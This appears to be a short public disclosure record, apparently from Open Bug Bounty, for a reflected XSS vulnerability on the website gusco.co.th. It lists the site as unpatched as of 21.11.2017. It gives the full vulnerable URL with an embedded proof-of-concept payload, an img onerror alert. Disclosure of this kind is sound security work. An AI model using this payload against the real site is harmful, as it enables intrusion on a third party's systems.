gusco.co.th XSS vulnerability

Vulnerable URL: http://www.gusco.co.th/gusconew/main.php/'%22--!%3E%20%3Cimg%20src=x%20onerror=alert%22openbugbounty%22%3E?act=showcalendar&month2;=12=27〈= Details: Description| Value ---|--- Patched:| No Latest check for patch:| 21.11.2017 Vulnerability type:| XSS Vulnerability status:| Publicly...